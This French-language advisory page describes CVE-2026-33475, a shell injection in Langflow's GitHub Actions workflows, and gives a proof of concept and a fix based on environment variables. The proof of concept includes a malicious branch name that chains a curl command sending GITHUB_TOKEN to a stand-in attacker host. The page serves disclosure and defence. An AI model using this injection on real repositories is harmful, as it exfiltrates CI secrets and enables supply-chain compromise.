CVE-2026-33475
Langflow GitHub Actions Shell Injection
- Publié
- 24 mars 2026
- Mise à jour
- 25 mars 2026
- Attribution de CNA
- GitHub_M
- Preuve observée
- 5 sept. 2026
CVSS primaire
nvd · CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:NFaible · 30 prochains jours
- Percentile
- 86,5 %
- Date du modèle
- 21 sept. 2026
EPSS est une estimation statistique, et non une certitude ou une mesure d'impact. Combinez-le avec CVSS, le statut KEV, l'exposition et votre environnement.
Résumé
Langflow est un outil permettant de créer et de déployer des agents et des workflows propulsés par l'IA. Une vulnérabilité d'injection shell à distance non authentifiée existe dans plusieurs workflows GitHub Actions du dépôt Langflow avant la version 1.9.0. L'interpolation non assainie des variables de contexte GitHub (par exemple, `${{ github.head_ref }}`) dans les étapes `run:` permet à des attaquants d'injecter et d'exécuter des commandes shell arbitraires via un nom de branche malveillant ou un titre de pull request. Cela peut conduire à l'exfiltration de secrets (par exemple, `GITHUB_TOKEN`), à la manipulation d'infrastructure ou à un compromis de la chaîne d'approvisionnement lors de l'exécution CI/CD. La version 1.9.0 corrige la vulnérabilité. --- ### Détails Plusieurs workflows dans `.github/workflows/` et `.github/actions/` référencent des variables de contexte GitHub directement dans les commandes shell `run:`, comme par exemple : ```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` Ou : ```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` Étant donné que `github.head_ref`, `github.event.pull_request.title` et les `inputs.*` personnalisés peuvent contenir des **valeurs contrôlées par l'utilisateur**, ils doivent être traités comme des **entrées non fiables**. L'interpolation directe sans guillemets appropriés ni assainissement conduit à une injection de commandes shell. --- ### PoC 1. **Forkez** le dépôt Langflow 2. **Créez une nouvelle branche** portant le nom : ```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. **Ouvrez une Pull Request** vers la branche principale à partir de la nouvelle branche 4. GitHub Actions exécutera le workflow concerné (par exemple, `deploy-docs-draft.yml`) 5. L'étape `run:` contenant : ```yaml echo "Branch: ${{ github.head_ref }}" ``` Exécutera : ```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. L'attaquant reçoit le secret CI via l'URL d'exfiltration. --- ### Impact - **Type :** Injection shell / Exécution de code à distance dans CI - **Portée :** Tout fork public de Langflow avec GitHub Actions activé - **Impact :** Accès complet aux secrets CI (par exemple, `GITHUB_TOKEN`), possibilité de pousser des tags ou des images malveillants, de falsifier des versions, ou de divulguer des données d'infrastructure sensibles --- ### Correctif suggéré Refactorisez les workflows concernés pour **utiliser des variables d'environnement** et les entourer de **guillemets doubles** : ```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` Évitez l'interpolation directe de `${{ ... }}` dans `run:` pour toute valeur contrôlée par l'utilisateur. --- ### Fichiers concernés (Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
Utilisation responsable
Utilisez les informations de vulnérabilité uniquement sur les systèmes que vous possédez ou que vous êtes autorisé à tester. Kitploit renvoie aux métadonnées de la recherche publique et ne stocke pas de code d'exploitation ni de charges utiles malveillantes.